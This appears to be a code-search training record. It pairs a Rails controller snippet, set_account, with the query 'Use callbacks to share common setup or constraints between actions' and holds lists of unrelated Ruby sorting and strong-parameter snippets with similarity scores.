"def chronological\n wrap(\n sort do |a, b|\n Time.parse(a['created_at']) <=> Time.parse(b['created_at'])\n end,\n )\n end",
"def sort_timestamp\n self.created_at\n end",
"def ja_sort\n [{ :created_at => :desc }]\n end",
"def default_sort\n 'created_at desc'\n end",
"def index\n @posts = Post.all.sort{ |x,y| y.created_at <=> x.created_at }\n end",
"def sort\n @student_entities = StudentEntity.all\n @student_entities = @student_entities.sort_by { |stu| stu.created_at }\n render json: @student_entities, status: 200\n end",
"def outdated_list(sort_order: { created_at: :desc })\n outdated.order(sort_order)\n end",
"def sort_tweets_by_date\n\t\ttweets = @tweets.sort_by{|tweet| tweet.created_at}\n\tend",
"def default_sort\n { order: :created_at, direction: :desc }\n end",
"def sorted(subjects)\n subjects.sort_by {|subject| subject['updated_at'] }.reverse\n end",
"def sorted_articles\n require 'time'\n articles.sort_by do |a|\n attribute_to_time(a[:created_at])\n end.reverse\n end",
"def test_ordered\n posts = Post.all\n assert_equal(Post.ordered, posts.sort {|a,b| b.created_at <=> a.created_at})\n end",
"def earliest_order!\n # order(created_at: :asc)\n all.to_a.sort_by {|n| n.created_at }\n end",
"def sorted_history(user)\n return (user.apicalls.sort do |a,b| b.created_at <=> a.created_at end)\n end",
"def index\n respond_with Page.sort(:published_on.desc, :created_at.desc)\n end",
"def posts\n Post.all(self).sort_by { |entry| entry.created }.reverse\n end",
"def valid_order_by_values\n [:created_at, :updated_at]\n end",
"def ordered_activities\n @ordered_activities ||= activities.sort{|a, b| b.created_at <=> a.created_at}\n end",
"def index\n @informations = Information.order('created_at desc')\n @information_sort_date = @informations.group_by{|info|info.created_at }\n end",
"def index\n @student_actions = StudentAction.all.sort! { |a, b| b.created_at <=> a.created_at }\n end",
"def activity\n (self.photos.recent + self.comments.recent).sort_by(&:created_at)\n end",
"def company_order\n {updated_at: :desc}\n end",
"def news_and_reviews\n (self.current_news + self.product_reviews).sort!{|a,b| b.created_at <=> a.created_at}\n end",
"def index\n @posts = Post.created_at_order\n end",
"def sorted_articles\n require 'time'\n articles.sort_by do |a|\n time = a[:created_at]\n time.is_a?(String) ? Time.parse(time) : time\n end.reverse\n end",
"def sort\n conditions = scope_condition\n list_items = order_by_position(conditions, :created_at.desc).to_a\n\n list_items.each_with_index do |list_item, index|\n list_item.set_my_position index + 1\n end\n end",
"def sort\n conditions = scope_condition\n list_items = order_by_position(conditions, :created_at.desc).to_a\n\n list_items.each_with_index do |list_item, index|\n list_item.set_my_position index + 1\n end\n end",
"def sort_comments(comments)\n comments = comments.sort_by do |comment|\n Time.parse(comment['updated_at'])\n end\n comments.reverse!\n comments\n end",
"def rev_order\n\t \torder(created_at: :desc)\n\t end",
"def sort_items\n @items = @items.sort_by(&:created_at) if params[:order] == 'date'\n @items = @items.sort_by(&:created_at).reverse if params[:order] == 'date desc'\n @items = @items.sort_by(&:payee) if params[:order] == 'payee'\n @items = @items.sort_by(&:payee).reverse if params[:order] == 'payee desc'\n @items = @items.sort_by(&:description) if params[:order] == 'descr'\n @items = @items.sort_by(&:description).reverse if params[:order] == 'descr desc'\n @items = @items.sort_by(&:amount) if params[:order] == 'saldo'\n @items = @items.sort_by(&:amount).reverse if params[:order] == 'saldo desc'\n @items = @items.sort_by(&:category_id) if params[:order] == 'cat'\n @items = @items.sort_by(&:category_id).reverse if params[:order] == 'cat desc'\n end",
"def index\n posts = Post.all.sort_by(&:created_at).reverse\n render json: posts, status: :ok\n end",
"def index\n @events = Event.order('events.created_at DESC').all\n end",
"def index\n @posts = Post.order(updated_at: :desc)\n end",
"def index\n @documents = Document.all.sort_by(&:created_at).reverse # Sort by reverse chronological order\n end",
"def sort_users\n if params[:sort_by].present?\n criteria = params[:sort_by]\n @users = if criteria == 'last_sign_in_at'\n @users.order('last_sign_in_at desc')\n elsif criteria == 'last_created_at'\n @users.order('created_at desc')\n else\n @users.order('created_at asc')\n end\n else # default sorting\n @users = @users.order('last_sign_in_at desc')\n end\n end",
"def index\n @things = Thing.all.order('updated_at DESC')\n end",
"def histories(order = \"desc\")\n (notes + events.except_note_events).sort do |a, b|\n order != \"asc\" ?\n b.created_at <=> a.created_at :\n a.created_at <=> b.created_at\n end\n end",
"def ideas_ordered_by_reminder_created_at\n self.ideas.desc(:reminder_created_at)\n end",
"def index\n @notifications = Notification.where(user_id: current_user.uid).page(params[:page]).order(created_at: :desc)\n # @notifications = Notification.all\n @notifications_sort = {}\n @notifications.each do |n|\n date = n.created_at.strftime('%Y-%m-%d')\n if @notifications_sort[date].nil?\n @notifications_sort[date] = []\n end\n @notifications_sort[date] << n\n end\n end",
"def index\n @posts = Post.all.order(\"created_at DESC\")\n end",
"def index\n @posts = Post.all.order(\"created_at DESC\")\n end",
"def index\n @videos = Video.order('created_at DESC')\n end",
"def ordered_sources\n @ordered_sources ||= sources.sort{|a, b| a.created_at <=> b.created_at}\n end",
"def index\n @articles = Article.order(\"created_at DESC\")\n end",
"def index\n @posts = @user.posts\n @posts = @posts.sort_by{|e| e[:created_at]}.reverse\n @new_post = Post.new\n end",
"def expected_note_id_sort_order(notes)\n (notes.sort_by {|n| [n.updated_date, n.created_date, n.id] }).reverse.map &:id\n end",
"def index\n @events = Event.order(created_at: :desc)\n end",
"def index\n @videos = Video.order(createrd_at: :desc)\n end",
"def index\n @posts = Post.all.order(created_at: :desc)\n end",
"def index\n @events = Event.all.order(:created_at).reverse_order\n end",
"def incomplete_list(sort_order: { created_at: :desc })\n incomplete.order(sort_order)\n end",
"def index\n #@posts = Post.all\n @posts = Post.order('created_at DESC')\n end",
"def index\n @books = Book.all.order(\"created_at DESC\") \n end",
"def user_records\n @user_records = (view_context.filter_params[:sort].present?) ? user.records.reorder(\"#{view_context.parsed_current_sort.first} #{view_context.parsed_current_sort.last}\", view_context.secondary_sort) : user.records.reorder(created_at: :desc) \n end",
"def index\n @reports.sort! { | a, b | b.created_at <=> a.created_at }\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reports }\n end\n end",
"def sort_by_date(items)\n in_progress = items.select { |item| item[:date].nil? }\n .sort_by { |item| item[:name].downcase }\n done = items - in_progress\n done = done.sort do |item_a, item_b|\n case item_a[:date] <=> item_b[:date]\n when -1 then 1\n when 1 then -1\n else\n item_a[:name].downcase <=> item_b[:name].downcase\n end\n end\n in_progress + done\n end",
"def timestamp_sort_order(direction = \"asc\")\n [arel_table[PaperTrail.event_field].send(direction.downcase), arel_table[PaperTrail.timestamp_field].send(direction.downcase)].tap do |array|\n array << arel_table[primary_key].send(direction.downcase) if primary_key_is_int?\n end\n end",
"def sort\n @sort ||= if order_by_primary_key?\n # Default order is by id DESC\n :desc\n else\n # API defaults to DESC order if param `sort` not present\n request_context.params[:sort]&.to_sym || :desc\n end\n end",
"def messages\n object.messages.sort_by do |message|\n message.created_at\n end\n end",
"def projects_index_sorts\n [\n [\"name\", :sort_by_title.t],\n [\"created_at\", :sort_by_created_at.t],\n [\"updated_at\", :sort_by_updated_at.t]\n ].freeze\n end",
"def index\n # to do scope to user\n @activities = Activity.all.order('updated_at DESC')\n end",
"def index\n @posts = Post.all\n @posts = @user.posts.all.order(updated_at: :desc)\n end",
"def index\n @recipe = Recipe.all.order(\"created_at DESC\")\nend",
"def sorted_snapshot_list()\n snapshot_list().sort{|a,b| b.time <=> a.time }\n end",
"def index\n @updates = DatabaseUpdate.all(:order => \"created_at DESC\")\n end",
"def index\n @videos = Video.all.order(created_at: :desc)\n end",
"def earliest; all(:order => [:started_at.asc, :id.asc ]) end",
"def index\n @devs = Dev.all.order('created_at DESC')\n end",
"def sort_by\n unless params[:sort].blank?\n params[:sort] if params[:sort] == 'created_at' || 'vote_score' || 'replies'\n else\n 'created_at'\n end\n end",
"def default_ordered_on; 'published_at' end",
"def index\n @articles = Article.all.all.order('created_at desc')\n end",
"def updated_at\n created_at\n end",
"def sorted\n all.order(Arel.sql(%[ #{quoted_table_name}.\"recorded_at\" ASC, #{quoted_table_name}.\"hid\" ASC ]))\n end",
"def index\n @galleries = Gallery.find_all_by_private(:false)\n \n @galleries.sort! { |a,b| b.created_at<=>a.created_at }\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @galleries }\n end\n end",
"def index \n @zutatens = Zutaten.all.order(\"created_at desc\")\n end",
"def recent\n self.order('created_at DESC')\n end",
"def comments_ordered_by_submitted\n Comment.where(:commentable_id => id, :commentable_type => self.class.name).order('created_at DESC')\n end",
"def index\n @events = Event.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @events\n end",
"def index\n @reviews = Review.all.order(created_at: \"DESC\")\n end",
"def order_by\n if params[:order_by]\n if params[:order_by] == 'created_at'\n # If created at, get newest first\n params[:order_by] + ' DESC'\n else\n # Otherwise, get closest to now\n params[:order_by] + ' ASC'\n end\n else\n # Default to start date, ascending\n 'starts_at ASC'\n end\n end",
"def index\n @orders = Order.all.order(\"created_at DESC\")\n end",
"def documents_by_updated\n Document.find(:all, :conditions => {:category_id => self.id}, :order => 'updated_at DESC')\n end",
"def sort\n (@params[:sort] || :created_at).to_sym\n end",
"def index\n @users = User.order(created_at: :desc)\n @products = Product.order(created_at: :desc)\n @reviews = Review.order(created_at: :desc)\n end",
"def index\n @books = Book.all.order(\"created_at DESC\")\n end",
"def sort_memberships\n self.group_members.sort {|membership| membership.created_at}.select{|membership| membership.user_id != User.find_by(username: \"deleted_user\").id}\n end",
"def location_index_sorts(query:)\n [\n [\"name\", :sort_by_name.t],\n [\"created_at\", :sort_by_created_at.t],\n [(query&.flavor == :by_rss_log ? \"rss_log\" : \"updated_at\"),\n :sort_by_updated_at.t],\n [\"num_views\", :sort_by_num_views.t]\n ]\n end",
"def show\n @products = Product.order(\"updated_at DESC\")\n end",
"def sorted\n all.order(%[ #{quoted_table_name}.\"recorded_at\", #{quoted_table_name}.\"hid\" ])\n end",
"def index\n @todos = Todo.all.order(created_at: :desc)\n end",
"def list\n @articles = Article.order('created_at DESC')\n end",
"def index\n @reviews = Review.all.order(created_at: :desc)\n end",
"def comments_ordered_by_submitted\n Comment.where(commentable_id: id, commentable_type: self.class.name)\n .order('created_at DESC')\n end",
"def index\n @pics = Pic.all.order(\"created_at DESC\") #decending order \n end",
"def order_params\n if params[:order_by]\n order_from_params\n else\n { created_at: Sortable::DIRECTION_DESC }\n end\n end",
"def sort_results(results)\n case @metadata[:sort]\n when \"new\"\n results.sort_by do |c|\n [c.set.regular? ? 0 : 1, -c.release_date_i, c.default_sort_index]\n end\n when \"old\"\n results.sort_by do |c|\n [c.set.regular? ? 0 : 1, c.release_date_i, c.default_sort_index]\n end\n when \"newall\"\n results.sort_by do |c|\n [-c.release_date_i, c.default_sort_index]\n end\n when \"oldall\"\n results.sort_by do |c|\n [c.release_date_i, c.default_sort_index]\n end\n when \"cmc\"\n results.sort_by do |c|\n [c.cmc ? 0 : 1, -c.cmc.to_i, c.default_sort_index]\n end\n when \"pow\"\n results.sort_by do |c|\n [c.power ? 0 : 1, -c.power.to_i, c.default_sort_index]\n end\n when \"tou\"\n results.sort_by do |c|\n [c.toughness ? 0 : 1, -c.toughness.to_i, c.default_sort_index]\n end\n when \"rand\"\n results.sort_by do |c|\n [Digest::MD5.hexdigest(@query_string + c.name), c.default_sort_index]\n end\n when \"number\"\n results.sort_by do |c|\n [c.set.name, c.number.to_i, c.number, c.default_sort_index]\n end\n when \"color\"\n results.sort_by do |c|\n [COLOR_ORDER.fetch(c.colors), c.default_sort_index]\n end\n when \"ci\"\n results.sort_by do |c|\n [COLOR_ORDER.fetch(c.color_identity), c.default_sort_index]\n end\n when \"rarity\"\n results.sort_by do |c|\n [-c.rarity_code, c.default_sort_index]\n end\n else # \"name\" or unknown key\n results.sort_by(&:default_sort_index)\n end\n end",
"def deleted_at_sort\n deleted_at ? 2 : 1\n end",
"def sort_column\n Order.column_names.include?(params[:sort]) ? params[:sort] : \"updated_at\"\n end"
] |
[
"0.7467505",
"0.73870295",
"0.7340026",
"0.7310985",
"0.71304756",
"0.706289",
"0.7032139",
"0.69878143",
"0.6955125",
"0.69387084",
"0.6920193",
"0.6702314",
"0.66953933",
"0.66916895",
"0.66914904",
"0.66891557",
"0.66712296",
"0.66314167",
"0.6613219",
"0.65003717",
"0.6454337",
"0.64504987",
"0.6414458",
"0.6376809",
"0.63133395",
"0.6305914",
"0.6289225",
"0.6274842",
"0.6274842",
"0.6272503",
"0.62709",
"0.621896",
"0.6199121",
"0.6192869",
"0.6149453",
"0.61240226",
"0.60929585",
"0.6090718",
"0.60761845",
"0.6070014",
"0.6067208",
"0.6064454",
"0.6064454",
"0.60549027",
"0.6039331",
"0.59998536",
"0.59957373",
"0.59947133",
"0.5984945",
"0.59844345",
"0.5961965",
"0.59589446",
"0.5948056",
"0.5946734",
"0.5935536",
"0.59253174",
"0.59088904",
"0.5904124",
"0.5901711",
"0.5897546",
"0.5890439",
"0.58672625",
"0.5863954",
"0.58611023",
"0.58578885",
"0.5856453",
"0.5854534",
"0.58535844",
"0.5847278",
"0.5844839",
"0.58427155",
"0.5842294",
"0.5840192",
"0.5839282",
"0.582157",
"0.5819416",
"0.5816544",
"0.5815298",
"0.5811868",
"0.5807541",
"0.5806046",
"0.5805829",
"0.5803447",
"0.57962054",
"0.57836163",
"0.57781816",
"0.57757",
"0.5766951",
"0.5763857",
"0.5761514",
"0.5758825",
"0.5751832",
"0.5747474",
"0.5734538",
"0.57286316",
"0.57238066",
"0.5713499",
"0.5704814",
"0.5702886",
"0.5689251"
] |
0.61944926
|
33
|
Use callbacks to share common setup or constraints between actions.
|
def set_account
@account = Account.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a list of trusted parameters through.
|
def account_params
params.require(:account).permit(:balance, :account_number,
:cvv, :expiry_date, :currency, :user_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
